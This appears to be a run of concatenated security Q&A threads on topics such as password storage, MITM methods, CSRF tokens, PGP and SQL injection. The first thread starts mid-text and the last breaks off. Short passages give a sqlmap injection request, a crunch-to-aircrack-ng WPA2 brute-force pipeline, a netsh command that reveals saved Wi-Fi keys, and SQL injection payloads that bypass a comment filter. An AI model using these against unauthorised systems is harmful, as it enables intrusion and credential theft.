i.e. The send-mailmessage cmdlet for PoSh has a parameter

-credentials (username,password)

but it explicitly will not accept the password in plain text form. This was implemented to actively discourage IT professionals from saving passwords in plaintext on files. I just want to know why it is discouraged.

EDIT 1/16/2016
First of all, thank you all so much for your quick responses and feedback on this question!
I have edited my post to clarify a couple of points that were brought up.

Added Comments in the Situation section to explain that this a common practice in SA/Automation work. Also, added a *Keep it Threoretical** section to clarify that I wish to keep this theory as OS agnostic as possible. Thanks!

The logical flaw in the scheme is that you need to know the password in order to access the password.   This nullifies any valid use for storing the password in the first place.   So, it's not so much a paradox as a fallacy.

If your real goad is simply to store a password as securely as possible, then your architecture generally makes sense, but replace the construct of a password-in-a-file-that-requires-the-same-password with that of a password manager, when the password is stored in a password manager protected by a strong master password, and a second factor.


Why did Poitras and Greenwald put their batteries in the fridge? cnet.com says:

  Even in Snowden's room, the group took precautions not to be overheard. Greenwald and Poitras would remove the batteries from their mobile phones and put them in refrigerator of Snowden's minibar (...)

Is there any security reason they would do that?

With its insulated walls and rubber door seals, a refrigerator is the most soundproof box commonly found in ordinary living spaces.  If it's running, even better, it provides white noise.  If one was worried about listening devices, then a fridge would be a reasonable and available place to stash them.  And Snowden has alleged the NSA can do lots of things even with a phone that's turned off.

Minor update: Out of curiosity, I put my phone in the fridge, and later in the freezer, with batteries still inserted.  In both cases I was able to call it quite easily - the refrigerator did not act as a Faraday cage - but the ringtone volume was noticeably subdued.  So I do think the fridge in the quoted story was a soundproofing issue, not a Faraday Cage as has been suggested.

I know it's just an experiment of one, but it was a fun experiment :)

Even more minor update: I was curious and checked... my microwave, which is a Faraday Cage, doesn't block cell signals either (good explanation here).


Which chain of the iptables receives the sniffed packets Host C is using wireshark to sniff packets from Host A to Host B. I am able to see those packets from wireshark but I am not able to find them in the PREROUTING chain of iptables. When Host C arpspoofs Host A and B, I can then see the packets in my PREROUTING chain.

Without arpspoofing, those packets that I sniffed from A to B will appear in which chain of the iptables?

Without ARP spoofing, the packets with an ethernet destination different from host C’s own address will not reach any chain of netfilter.

When you use wireshark, it sets the ethernet NIC in promiscuous mode, to see packets with other destinations, but they are still not handled by the kernel and netfilter.


A potentially dangerous Request.Path value was detected from the client (&) I was browsing the web and typed in a URL to visit, when I received the following response:

  A potentially dangerous Request.Path value was detected from the client (&)

I did some research on this error and found that this is associated with cross-site scripting, and began to worry when I discovered that this could be interpreted as someone trying to hack into a website??

I see ampersands in URLs I visit all of the time (I saw many when I just did a Google image search), so I didn't think it anything malicious.

What does this mean for me? Should I be concerned?

You tried to visit a website with a malformed URL in it. A web application firewall (WAF) or similar thought it looked a little bit suspicious, and blocked your request. Apparently, the WAF is not configured veyr well, so it displays error messages to the user, instead of just a 404 page.

Regarding & in URL:s, they would normally be seen in the query string (the part after the ?). There, they are used as separator between different parameters, as in ?color=green&size=medium. I don't think putting them in a different part of the URL is a sign of any specific attack. But it's not a bad idea to block odd input even if it is not obviously an attack, just to be on the safe side.

So to summarize: Nobody tried to attack you. The webserver mistook a misspelled URL you visited for a potential attack, and blocked it. That's completely normal. You don't need to be worried about anything here.


Wireless password available in plaintext Running below command in as admin from Windows :

C:\Windows\system32>netsh wlan show profile name=MY_WIRELESS_NAME key=clear

Outputs :

Security settings

Authentication         : WPA2-Personal
Cipher                 : CCMP
Security key           : Present
Key Content            : PASSWORD_OF_MY_LAN

Outputs the password of my wireless connection in plaintext in "Key Content" field. Is this is security risk ? Could I access the password of wireless networks as they are visible (untested) ?

The network you've set up uses pre-shared secret authentication. If you're already on the network, then you know the password so seeing it in plain-text isn't that much of a big deal.

In most enterprise environments, they use 802.1x authentication so there's not much to be worried about.

  Could I access the password of wireless networks as they are visible
  (untested) ?

I assume so, as windows saves password of networks you've successfully connected to. It'd be easy to find out, just type in netsh wlan show profile name=MY_OTHER_WIRELESS_NAME key=clear


Automate the process of giving a user access to his encrypted messages, when the user loses his password I'm implementing a way for users to share messages with other users. All users and admin-users have a unique key pair. A message can be sent from one user to multiple users.

Admin-users, who always have access to all messages, in case a user loses his password, and then makes a new password (with a forgot-password email link), the admin-user can decrypt the message with the admin-user private key and encrypt it with the users new public key.

Is there a way to automate this process, securely of course?

I was thinking sending a mail to a local-server (not connected to the webserver), so the local server can login to the site as admin-user and give the user access, when they changed their passwords.

First, don't re-encrypt messages, encrypt message decryption keys.  It is far more efficient to produce a symmetric key for each message and then encrypt it to each user's keyring that should have access.  If admin users have access to all messages, you could add the private keys of all users to a keyring and then simply return the private key to the user after their password is changed.  This should probably not be an automated process though as you need to make sure that the user is the correct person first or there isn't much point to the encryption.  Further, you want to avoid storing keys on the server, which means some admin user needs to be logged in to unlock the user's private key for their account.


Establish a secure channel with mutual authentication given pre-shared public keys Suppose I have a system whereby parties are identified by their public key (with some pre-selected asymmetric key algorithm). Suppose I have a party PUB1 which wants to establish a secure channel with a party PUB2. This necessarily means that party PUB1 already has PUB2's public key.

Given an untrusted medium with possibility of MITM, how can the parties establish a secure channel (no eavesdropping, no MITM) while mutually authenticating each other as the party that owns PRIV1/PRIV2 secrets matching the PUB1/PUB2 identity?

I understand that Diffie-Hellman with public keys can do exactly this – is that correct? Are there standard implementations for .NET which have built-in support for this mode of operation?

Yes, Diffie-Hellman with pre-shared public keys provides a mutually authenticated channel. However, if you use it, you will be guilty of using your own cryptographic implementation and in part your own cryptographic protocol, which is not nearly as big a sin as using your own cryptographic algorithm, but still best avoided. Unless you have a good reason not to, use SSL (with pre-shared, self-signed certificates, or for more flexibility with certificates signed by an in-house CA).


sqlmap: testing javascript or json parameters I have a parameter in a POST request which is in the following format:

ParamName= < r username="123" password="456" x="" y=""/>

and I want to test username and password which are two HTML input controls on the webpage using SQLmap. how should I use sqlmap for this kind of requests or for example JSON parameters which are like parametername={ username:value1 , password:value2}?

You can simply use a text file with your HTTP request in it and add a * to where you want sqlmap to perform the injection. Then start sqlmap with the -r http_request.txt option.

As an example for the file:

POST / HTTP/1.1
Host: www.example.com

parametername={username:*, password:*}


Is there a certification AICPA grants to qualified auditors? We are in the process of hiring an auditor in order to become SOC 2 compliant and would like to know if there's some kind of official auditor listing available, or at least a certification or AICPA endorsement we should be looking for.

You would be better served by looking for how much experience the person  has in auditing the Trust Principles contained within a SOC 2 - Security, Confidentiality, Availability, Privacy, and Processing Integrity. I am working in the IT Security profession as an IT Auditor and it has been my experience that experience matters more than any particular certification. However, relevant certifications such as CISA or CPA does provide an objective measurement of your expertise

Ideally, the person is a licensed CPA with the authority needed to complete an independent attestation, and depending on the types of internal controls management states to be in place, has special certifications such as the Certified Information System Auditor (CISA) awarded by ISACA.


Does SSL inspection break applications utilizing certificate pinning? A number of popular mobile apps utilize certificate pinning, such as Facebook. Does this mean that these applications cease to function completely on corporate and academic networks that utilize SSL inspection, unless the administrator specifically exempts them?

Does this mean that these applications cease to function completely on
  corporate and academic networks that utilize SSL inspection, unless
  the administrator specifically exempts them

Yes,You are right the apps that use certificate pinning wont work in an MITM situation.They didnt work when i tried so i think its a fair assumption to make that they wont work in corporate and academic networks that utilize SSL inspection
unless the administrator specifically exempts that traffic and doesnt try to MITM it.


How can I use a proxy appliance as HTTP Proxy & Reverse Proxy at the same time? I have a BlueCoat ProxySG 810 appliance and want to use it as both an HTTP Proxy Server for clients on the Inside interface of a PIX 525 Firewall (OS Version = 8.0(4)) and a Reverse Proxy Server for my Web Servers on the DMZ.

Should I place the ProxySG 810 on the DMZ?
If I do so, does the ProxySG 810 need to be allowed access the Inside network (i.e. Initialize connections to Inside) to be able to serve as an HTTP Proxy Server to the Inside Clients?
I think the answer to the 2nd question is no; if such, is it sufficient to just allow access from Inside to the DMZ (and ban the opposite direction)?

Notes:

PIX 525 (8.0(4)) supports WCCP.
The Outside interface of the PIX 525 is connected directly to the Internet.

The first question I'd have would be, what do the web servers need to get to that's internal and requires a reverse proxy?  If I had to do this, I'd put the Proxy in the DMZ and set it up primarily as a reverse proxy.  There's no way I would put a reverse proxy internally and allow DMZ/external sources to get straight to it.

Then, once you have that tuned and working properly, set up egress WCCP to push to your proxy, taking special care to only get client subnets and not servers (I would never suggest WCCP for a server.  If you want it to be proxied, set it manually to a VIP that points to your proxies (if you have multiple)).  Where you do this is key, because some versions only support it on the egress interface of devices (I ran into this with a l3 cisco switch).  Also, as a FYI, I have had issues setting up WCCP on firewalls in the past because of the way traffic flows with WCCP, there are sometimes issues with state tables.  Bluecoat suggested that I remove the state inspections for this box, and I immediately required the business to move WCCP to the closest switch, therefore I would similary suggest putting this on another device if at all possible.

It's hard to tell from the limited information we have what the best place to setup WCCP would be.  Do you only have one firewall in your environment, or do you have a separate DMZ and internal firewall(s)?


How does someone become a man in the middle? As I understand it in order to commit a successful MiTM attack you need to be "sitting" somewhere along the traffic path.  I assume this means being hooked up to one of the nodes inbetween the end points, physically splicing the wire connecting them, or intercepting air waves.

Are my assumptions correct?
Does an adversary's terminal need to be directly connected to the wire, node, within wifi range, or can someone in Kansas use an outside path to gain access to a path from LA to San Francisco?

Maybe it's more correct to ask if someone needs to be in proximity to the target path.  Conversely, can he "use the internet" to mitm the path: isn't every node on the internet essentially connected to each other?

There are many, many ways you can become a MITM, virtually at all layers of the networking stack - not only the physical one. Being physically close to your target can help, but is by no means a necessity.

At the physical layer, the attacks you can get are very overt: splice a ethernet cable, use a optical tap, or capture radio signals.

A passive optical network,  tap - photo by Roens

Some active attacks can have physical access as a precondition - many others do not.

At the data link layer, passive attacks are incredibly easy: just put your network card into promiscuous mode and you can see all traffic on your network segment. Even on a modern (switched) cabled network, MAC flooding will ensure you can see more than you ought to.

For active attacks on local networks, ARP spoofing is quite popular and easy to perform - it basically makes your computer pretend it's someone else - usually a gateway, so that you trick other devices to send traffic to you instead.

ARP spoofing - diagram by 0x55534C

Data link attacks work as long as you are connect to the same local network as your target.

Attacking the network layer is easy if you have physical access - you can just impersonate a router using any modern linux machine.

If you don't have physical access, ICMP redirect attacks are kind of obscure, but sometimes usable.

Of course, if you have enough money on your pocket you can do it NSA-style and intercept routers when they are shipped to their destination by (snail) mail - just tweak the firmware a bit and you're good to go.

Attacks at the network layer can be performed from any point in the (internet) network route between the two participants - although in practice these networks are usually well defended.

I'm not personally aware of any attacks at the transport layer.

At the application layer, attacks can be a bit more subtle.

DNS is a common target - you have DNS hijacking and DNS spoofing. Cache poisoning attacks against BIND in particular were very popular a couple of years back.

DHCP spoofing (pretending to be a DHCP server) is quite easy to perform. The end result is similar ARP spoofing, but less "noisy" on the network and possibly more reliable.

The broadest application layer attacks can be performed from anywhere in the internet.


How does X-CSRF-Token work? After reading this question, if my understanding is correct, the server sends the CSRF token downstream as a cookie. On first glance, that would seem to defeat the purpose of the token since all cookies are sent by the browser even if the request isn't of the same origin.

However, in order to write it as a custom field, you need to read it first, which you can do only if you are same-origin. So the request proves it comes from code that has "the right to read" from the cookie jar - which is different from the browser sending it on your behalf.

But I am not sure if I understood it correctly. Is that how it works?

The intention with sending a custom header such as X-CSRF-Token as well as a cookie is that the technique, called double submit, will mitigate CSRF if implemented properly. The way it works is that while cookies will be automatically sent with a forced request as in the case of CSRF, the custom header will not, stopping an attacker from forcing you, the victim, to not get attacked because the server will look for both values. Double submit is used in cases where the application doesn't want to keep track of state of an anti-CSRF token.


Encrypt symmetric key or message first PGP? I understand the concept of the hybrid-cryptosystem that OpenPGP uses by generating a random symmetric key, using that to encrypt the message before encrypting itself with the recipient's public key.

However, in this paper describing OpenPGP, it describes the process the other way: encrypting the symmetric key, before using that encrypted key to encrypt the message. Is this correct?

https://tools.ietf.org/html/rfc4880#section-2.1

The step explained in the paper is correct. The confusion you probably are facing is with the key exchange step I guess.

Let me explain it further.

Let A be the sender and B, the recipient.

A generates the message - M
A generates a pseudorandom session key - K Key for symmetric encryption
A encrypts the message M with  session key K - E(K,M) Message encrypted with symmetric encryption
A encrypts the session key K with public key of B - E(KBPUB, K) K encrypted with public key of B so that B can retrieve K with it's private key.
A appends the results of step 3 and 4 and sends it to B -  E(K,M) || E(KBPUB, K)
B receives E(K,M) || E(KBPUB, K)
B retrieves K from E(KBPUB, K) -> K = E[KBPRIV, E(KBPUB, K)] Retrieving K by decrypting it with private key of B.
B uses K to retrieve M from E(K,M) -> M = D[K, E(K,M)] Decrypting the symmetrically encrypted message.

Your confusion is in the 3rd and 4th steps. Te order of 3rd and 4th steps doesn't matter as you see from the above.


Can I use the same password for my Computer, Mobile and Password Manager? I am considering using the same password for my Computer, Mobile and Password Manager.
The premise of the "password reusing is bad" rule is that if one website leak the password then all of your accounts on other websites are vulnerable.
But I don't see how it apply in that case. If somebody got access to any of my devices then it's almost game over for me because I am already logged in the critical services on my devices (gmail, bank, etc...).
The mitigation for that kind of situation is within each service by requesting 2FA for critical activities (send money, delete accounts etc..)
Using the same password would allow me to memorize one 15-20 random ASCII password , which I think would be way more secure than three different 8 ASCII password for example. Moreover, one single password allow me to change it more often.
Is this a good idea? What are the issues and threat of this approach? What would you do?

Consider that the password of your vault (password manager) is not stored anywhere (only in your head) if you are using a strong zero knowledge vault.
If you are using it also as the session password of your Windows computer and your mobile phone, then it is stored in their memory as a hash.
The difference is not huge because, for both, an offline bruteforce attack is the main threat against your password. Indeed, most of the time your vault define a random crypto key, use it to cipher your passwords and protect this key using your password. So the attacker needs to try many passwords to invert the key protection and check if the result key correctly decipher the passwords database.
It is a bit harder than just trying to reverse the hash of a Windows computer.
In order to not increase the risk by reusing the password for your computer and your mobile, I would advise you to enable the encryption of your PC and your mobile.
This way, an attacker cannot access to the active sessions where you are logged (GMail, bank and so one) by directly reading the disk.
But remember that there are more chances that an attacker get a physical access to your mobile or PC (if you lost it, if it is stolen, ...) than to your vault (he should find a vulnerability to dump the database)


Does CakePHP use the same salt for all users? The function in question in CakePHP is DefaultPasswordHasher::hash($password).

I've been going through some CakePHP tutorials: https://book.cakephp.org/3.0/en/tutorials-and-examples/bookmarks/intro.html and https://www.tutorialspoint.com/cakephp/cakephp_configuration.htm.  From the latter, I'm seeing one big salt string used for hashing in the Security.salt section.

Is this one salt string used for all users when hashing user passwords?  I tried looking through the source code, but didn't have much luck.  Maybe I'm missing something, but it seems like using the same salt for all users would defeat the purpose of salting in the first place.

DefaultPasswordHasher doesn't use the salt value stored in the configuration, that is only used by the WeakPasswordHasher class, or manual hashing by a developer.

The DefaultPasswordHasher class is a wrapper of the built in PHP password_hash which generates a salt for each password and uses the bcrypt algorithm currently. See https://github.com/cakephp/cakephp/blob/master/src/Auth/DefaultPasswordHasher.php#L47-L53


Is there any benefit to encrypting messages with PGP that will be trasmitted over SSL to a REST server? Would there be any benefit at all to encrypting a message using PGP before sending it to a REST server over SSL, or is this completely redundant and a waste of processing time?

For example, could a server's SSL be set up so poorly that an intruder could sniff the packets and read the messages in plaintext - at which point encrypting the messages with PGP would provide a safe guard to this?

I ask because I started playing around with a python socket server, in which I was encrypting all messages with PGP, but now want to do it over a REST server instead, and realized I would be doing this over SSL anyways.

No, PGP is not needed if SSL is setup correctly.  Of course, it will "add more security", but the benefit doesn't outweigh the hassle of creating it.

If a malicious agent in between would be able to decrypt the traffic (MITM, ...), you could also wonder if somebody would be able to access your web application's environment and use the private key of your generated keypair to decrypt traffic.

If you wish to have your connection authenticated as well, you can always issue client side certificates, and perform mutual authentication; this will give you data confidentiality and integrity.  And is a lot easier than implementing PGP in a web client/app.


Storing Keys on Embedded Devices What is a reasonable way of storing private keys/certs on an embedded device that doesn't have trust-zone, TPM or write-once storage? Without hardware backing the key-storage the key must be stored in a boot image/persistent storage. So, what tools or strategies can be used to store that key in a manner that is resistant to peering eyes?

*Assume the goal is to make acquiring the key difficult and expensive enough to dissuade most non-state sponsored hackers.

Using a symmetric password-based encryption scheme on the keys. Where you have to "enter your passphrase" before you are allowed to use the key. Since the passphrase is used to decrypt the actual key.

Most of the security concerns about the usage of passphrases are discussed here: Security of passphrase-protected private key


I was the subject of a low-impact DNS attack. What do I need to do? Recently, my website was subject to a DNS attack of sorts. I have my domain name (which I won't say here but should be pretty easy to find if you're interested) registered with Hostgator and set up with NameCheap's FreeDNS service. Recently I saw that my domain was serving an error page in Chinese rather than my pages (usually hosted on Github Pages), so I looked into the DNS configuration and found an A record to a malicious IP:

;; ANSWER SECTION:
[Website name redacted].com.    1285    IN  A   198.56.143.241

Doing some sleuthing on this IP reveals that it's maintained by Enzu, Inc, which seems to serve a lot of spam, and reverse DNS lookup points to Asia.Optimization.to.cn.: http://mxtoolbox.com/SuperTool.aspx?action=ptr%3a198.56.143.241&run=toolpage

There seems to be really no impact from this except that my site was down for a little while, which I'm not very fussed about.

I deleted this record and reset my passwords (and enabled 2FA) on both Hostgator and NameCheap accounts. My question is: is there anything I need to do other than that? It's not really clear to me if my NameCheap account was cracked or if this was related to something else - that account has a pretty strong password (long, dictionary-attack resistant, etc) and this doesn't seem directed specifically at me. I'd like to be sure I've taken appropriate action so that this won't happen again (and so that I'm not still vulnerable to the same attacker).

If the A record was visible in your NameCheap web interface, then your account will have been compromised. Probably via a weak password.

However, it is possible that NameCheap's servers are also compromised, you really have no way of knowing unless you put in a new, very strong password and/or 2FA as you have and then you get the same problem again. Any decent hacker though would detect that you'd undone the hack and would avoid you.

The other possibility is that your PC is compromised so you should double check that.

I also recommend that you set up an automated monitor using one of the many free services. It should check the content of your page and if it changes, you should get a notification.


Biometric authentication against server I'm working on an iOS app whose login system does not seem entirely secure but I don't know enough to be sure.

Skipping account creation, the first time the user logs in they send their user and hashed pass to the server to acquire a token with which they can make the rest of the API calls.

This seems fine but the user is given the option to activate biometric authentication in the app's settings and this is where I'm not certain about the implementation being secure.

To activate this feature, the user proves the ownership of their phone using Face ID or Touch ID.
If this is done successfully, the app makes an API call sending the following information to the server which activates biometric authentication for this user's account:

the username (redundant)
the session token
the device's internal id number
the device's notification (APNS) id

From that point on, in order to acquire a token (login) the app makes a different API call (not the normal user/pass call) where only the user and the 2 previously mentioned ids are sent (obviously this is done only after the user successfully uses the phone's biometric authetication).

Is this secure?
It doesn't seem inconceivable that someone could figure out the username, and those 2 device identifiers to gain access.
If it isn't secure, what would the right approach be? How do bank apps do it for example?

I couldn't find an answer to these questions by googling etc.

You are still using a session token, which if implemented correctly, is already secure

All the Face/Touch ID is doing is adding a second factor on the client-side, which prevents you from using the session token until the authentication is completed


Why do I have to do manual XSS testing in addition to using tools such as Burp Suite/XXSer/Xenotix? At what point does manual testing for XSS come preferred to an automated attack like one through Burp Suite?

Looking through bug bounties and various exploits and it's not clear where there is a dividing line between manual and automatic discovery of XSS, if at all.

Does it come down to preference or are there payloads that one or the other can't handle?

I understand the need to comprehend XSS attacks is needed, but why can't automated tools do the legwork for us?

https://www.google.com/about/appsecurity/learning/xss/#HowToTest - seem reasonable?

That link is reasonable.

Why do you need to manually test for vulnerabilities? Because a tool it's just a tool someone else created and he might have forgot to add a possible payload. Don't know about any specific case though, although I'm not much on the "offensive" side nowadays.

So, if you are the developer, a good approach is to:

Know where are you accepting input data.
Integrate automatic testing of input filtering.
Run any reliable tool to check for possible XSS.

On the other hand, if you are just black-box testing:

Identify the possible input points.
Run whatever tool you want.
If you consider that the tool might have skipped something, manually check for it.


SSL certificate for server authentication to clear my understandings:
I create self signed certificate first

keytool -genkey -alias mysign -keyalg RSA -keystore mykeystorename.jks

the firstname of the self sign has to be my domain name?

Then I create the CSR

keytool -certreq -keyalg RSA -alias myCSR -file certreq.csr
    -keystore mykeystorename.jks

Is the self sign certificate called root certificate?

I give my CSR to CA(e.g. verisign).
In return Versign give me a certificate. Is that called intermediate certificate? Do CA provides private key too? Where do I get the private key?

Now, there is a REST API server. That server requires certificate to make calls.
Me(client) needs to call his REST API, which certificate do I give him before calling the REST API?

When I make request to the REST API server which certificate do I give him now inside a keystore?

Can I use this certificate to test in local machine?

You seem to have some misunderstandings.

If you make a certificate with a CA, they do not give you a private key. You have the PK of your certificate already, and the PK of the CA is secret.

With an self-signed certificate, you're acting as certificate holder and CA at the same time. Naturally, telling the people "I say that I'm thrustworthy" doesn't make you very thrustworthy.

If a REST API requires a certificate from the user, it's not meant for normal TLS, but (probably) as "login method", instead of a password. This type of certificates don't need CAs etc.


What's wrong with RSA host key mismatch when using git? I was pushing codes to github from a repo via a proxy (socks5)

proxychains git push -uv origin master

Warning: the RSA host key for 'github.com' differs from the key for the IP address '224.0.0.1'
Offending key for IP in /home/name/.ssh/known_hosts:38
Matching host key in /home/name/.ssh/known_hosts:21
Are you sure you want to continue connecting (yes/no)?

For the security consideration, I chose "no".

The actual real IP of "github.com" from https://www.iplocation.net/ is: 192.30.253.112

Does this mean that the proxy server did not get a correct IP of github.com . For instead, it got 224.0.0.1.

Was the server be compromised or something wrong with my local settings?

Was the server be compromised or something wrong with my local settings?

Most likely something is misconfigured, but given the information provided, it is impossible to tell whether on the connecting client or the ProxyChains machine. If you search for proxychains 224.0.0.1 you can see quite a number of posts, like this one.

Offending key for IP in /home/name/.ssh/known_hosts:38
Matching host key in /home/name/.ssh/known_hosts:21

Looks like your /home/name/.ssh/known_hosts contains the github.com public key in line 38 and in line 21 there is a public key of an SSH server which you connected to in the past (most likely your localhost, but you should confirm it).

When you tried to reach github.com proxy returned 224.0.0.1 and git opened an SSH session to one of your own machines and rightfully reported it was not the github.com.

Side note:

  The actual real IP of "github.com" from https://www.iplocation.net/ is: 192.30.253.112

GitHub uses a whole range of IP addresses and the one you connect to can change.
See What IP addresses does GitHub use that I should whitelist?. See also: Should I worry about GitHub using IP addresses that are described as having an unknown host.


How safe is a PGP private key that has “escaped”, but without its password? Assuming your PGP private key is protected with a password, and it "escapes", but the password does not, how worried should you be?

Obviously in the real world, you would immediately revoke the key and generate a new one. But on a theoretical level, does having a private key, but not its associated password, get you any closer to decrypting messages encrypted with it?

The point of a password is to prevent the key from immediately being compromised once it leaks.  It should be considered partially compromised though as the security is reduced from the keysize down to the password complexity.  If you have a high complexity password, it may still be an acceptable level of security for your needs, but generally it is advisable to work on replacing the key since security is reduced.

The urgency of the transition depends on your password though.  If your password was "password" then you should immediately stop using it and transition, but if it was something reasonably complex, then you should be able to keep using it for a bit and distribute your new public key to your contacts using it.  Don't use it for anything you need long term privacy on, but it should be fine for communicating out your new credentials with confidence that you still control the private key for the reasonable future.


Why is the data from a Tor exit node not encrypted? Tor works in such a way that the data is encrypted by the three nodes. I.e., the entry node, relay and the exit node. But why is it not encrypted from the exit node to the destination server? Is this for speed? Or is it because it's not necessary as tracing back is already impossible?

Encryption of traffic exiting Tor and going to the destination server is based on whether the destination server supports encryption, and whether the destination server was addressed on an encrypted port - just as it would be had the traffic not gone through Tor.

Tor cannot magically do something the destination server doesn't support, or that the client did not request to do.


Cracking N Digit Unknown Password Hi I'm quite new to Aircrack-ng and I just have a quick question. Is there a possible way to determine the amount of digits a wifi password has?

In the example below the amount of digits is already known as 12 how would I determine this amount of digits in the case where I don't know the password.

crunch 12 12 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 | aircrack-ng -w - -b xx:xx:xx:xx:xx:xx capture-03.cap

  I am doing this to my own router/wifi password. I am testing how quick if at all or partly, I can crack my own WPA2-PSK password without a wordlist.file

Second question:

If I add !@#$%^&*() to the end of
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890

will those digits be included in the attack? Is there perhaps a better way?

I'm keen on using my gpu to speed up cracking the password.

Third question:

Lets say my wifi password is IL*veMyCat# Is there perhaps a way to determine certain digits of that password and output them into a file e.g Output.txt> IL-veMyCat- Where the missing digits are * and #

I have been able to use aircrack-ng successfully on Khali V2, any help, links, advice will be appreciated thanks.

It is not possible to determine either the length or certain characters of the password. You can read more about the authentication protocol here to understand why: https://en.wikipedia.org/wiki/IEEE_802.11i-2004.

For your second question, yes, they will be included in the attack. You can check the manual of crunch to see examples of how it can be used by running: man crunch (I suppose you're using linux)

Your password is pretty strong. I believe it will take forever for any moderate attacker to crack it.


Is this PHP code vulnerable SQL injection? Im given control over the $vote variable (in the "challenge" function)

Is there any way to sql inject the query? (BTW I can see/read whatever the challenge function returns e.g. the sql errors.
I managed to inject the sql but was not able to find a way to nullify the $vote+1" part so whatever I try to inject leads to a syntax error.)

function evil($vote)
{
    #Comments not allowed ]:->
    #Sorry.
    $vote = str_replace('#', '', $vote);
    $vote = str_replace('/', '', $vote);
    $vote = str_replace('*', '', $vote);
    $vote = str_replace('-', '', $vote);
    return $vote;
}
function challenge($vote)
{
    $vote = evil($vote);
    $q = "UPDATE `sqlinjection2` SET `$vote`=`$vote`+1";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    return 'Thanks for vote!';
}

Removing comments helps against some injections, but by all means not all.

In this case you can still zero any field by setting $vote to construct a logical sequence out of what was an assignment:

 variable   :          vote`=1 + `vote
 query      : ... SET `vote`=1 + `vote`=`vote`=1 + `vote`+1;

This will alternate vote between 0, if it is nonzero, and 1, if it is zero.

But since you can specify a field more than once in the same update, and all the updates will be run, you can also do:

 variable   :          vote`=1, `vote`=X+`vote
 query      : ... SET `vote`=1, `vote`=X+`vote`=`vote`=1, `vote`=X+`vote`+1;

which sets the vote to 1, then to 0, then to 0+X+1, whatever X (except X=0 where it will set the vote to 2).


Isolating guest networks I'm setting up a secondary guest wifi on my router and I want to make sure that it's impossible for clients connected to the guest wifi to access my primary network.

Initially, I used IP filtering with iptables but I figure that a guest who spoofs his IP could possibly still gain access to my primary network.

At the moment, I'm using interface-based filtering with iptables. Am I correct in assuming that this is spoof-proof, and that guests will not be able to access my primary network?

Thanks!

PS: My router is running OpenWRT.

EDIT:

Following user3192427's answer, I need to add some details about my requirements. First, I have no control over the primary network's encryption (it could be open, WEP, WPA2 or 802.1x). Second, the guest network has to be open. Third and most importantly, my main concern is that the addition of a guest network doesn't add vulnerabilities.

So, I understand from user3192427's answer that my current solution still allows attackers to gain insights into my primary network's topology. What I want to know is if it adds an entry point into my primary network that wasn't there before. For instance, if my primary network was open and insecured, the addition of an open guest network wouldn't make it any more insecure. If my primary network had WEP or WPA2, attackers could still break into it by sniffing traffic and by "guessing" the key even without an open guest network. If my primary network had 802.1x (properly configured), AFAIK attackers couldn't get in. So, my rephrased question is: Assuming my primary network is impenetrable, would the addition of an open guest network make it penetrable (as in making it possible to literally break into one of the devices on it or into the router).

I hate to say the answer is yes/no but given the information I have to and I will explain why. It really depends on your guests and your level of paranoia/how much time you want to spend administering this AP.

You can write iptable rules to keep a guest from gaining information about/accessing your internal network but you pretty much have to write a rule for every type of protocol that could leak including arp,dns,smb,bonjour,etc... While this is doable you would need to revisit these rules pretty regular and compare against packet captures you are collecting from the guest network to make sure they are still working.

If your guests are the hacker types things like 802.1q won't stop them. VLANs are designed for routing and network identification, not security. Vlans need something on top of them to do additional security. If you google VLAN hopping you can find resources to do this pretty easily.

In order to secure the setup you mentioned I would look at this article: http://www.zdnet.com/blog/ou/a-secure-wireless-lan-hotspot-for-anonymous-users/587 (its a few years old but the technology is the same). You can set up 802.1x auth on DD-WRT.

A quick example would be here: http://www.dd-wrt.com/phpBB2/viewtopic.php?p=684347

Don't forget to use different keys for your primary and guest network. If a guest can decrypt your traffic they might not be able to access it but doing packet caps would give them a lot of information about it.


Does (J-)SOX Forbid the Use of Open Source Software? With Regard to Sarbanes Oxley and particularly The Japanese version thereof: Is it true that in order to comply with (J-)SOX you must have a support contract - and therefore a responsible party - for any software used within the enterprise? If that is true, does that disqualify nearly all open source software?

The reason for asking is that I firmly believe that there is no relevance whatsoever. Yet our IT department frequently vetoes requests for open source software on the basis that without a support contract it doesn't comply with J-SOX requirements. To my knowledge J-SOX has no bearing on whether you have a support contract for software you use. What does seem to matter is anything having to do with financial reporting. Which most of the time doesn't come into play within the realm of open source software.

Is there a foundation for these rejections on the basis of J-SOX*? Or is our IT department just being lazy and trying to get out of supporting software they don't understand?

*I understand that there is an argument to be made that the IT department doesn't have resources to support such software, but blanketing that rejection under J-SOX seems preposterous to me.

The basic principle of SOX (I can't speak to the Japanese version, but I'd put my bet that it carries over) is that the officers of the company must attest that they are aware of the company's action and are responsible for those actions. This is usually done by having a consultant come in and document what the company is doing. The focus of SOX is on control over things that affect financial statements.

Your inventory tracking system, accounting system, ordering system, etc. all fall into this scope. Your DHCP server doesn't.

SOX does not require support contracts for any system. SOX does not excuse you in cases of vendor supplied systems that are not understood. Buying Oracle, having it supported, and making a mess of it all will hurt -- your expensive support contract won't provide any absolution. Unfortunately, SOX is more misunderstood than anything else, and I'm in continual awe of the scope of things that companies believe it requires.

The prevailing attitude that occurs here is something along the lines of, "Better safe than sorry." Fact is that throwing extra unnecessary requirements onto yourself and claiming they're regulatory doesn't earn you any brownie points, it just costs you more. Unfortunately, I think you have an uphill struggle convincing your company of that.


How to limit the impact of and reduce the risk of SQL injection for existing website? Our website is 100% API based (with an SPA client). Recently, a hacker managed to get our admin's password (hashed with SHA-256) through SQL injection (and cracking pwd) like this:

https://example.com/api/products?userId=3645&type=sqlinject here

It is just an example, but it is deadly to us. Fortunately, it was a nice hacker and he just emailed us about the hack. Lucky for a website under constants attacks throughout it's 5 years of existence.

Yes we DO know that we need to check user input everywhere and do properly format/escape/prepared statement before sending data to MySQL. We know, and we are fixing it. But we do not have enough developers/testers to make it 100% safe.

Now assuming we have 0.1% chance of being SQL injected somehow. How do we make it harder for hacker to find it and limit the damage as possible?

What we do so far as quick fixes/additional measurements:

At the output "gate" shared by all APIs, we no longer send the raw PDOException and message like before. But we still have to tell the client that exception occurred:

{type: exception, code: err643, message: 'contact support for err643'}

I am aware that if hacker see exception, he will keep trying...
The user PHP uses to connect to MySQL can only CRUD to tables. Is that safe enough?
Rename all tables (we use open source so hacker can guess the tables name).

What else should we do?

  Update : since there are many comments, I would like to give some side
  info

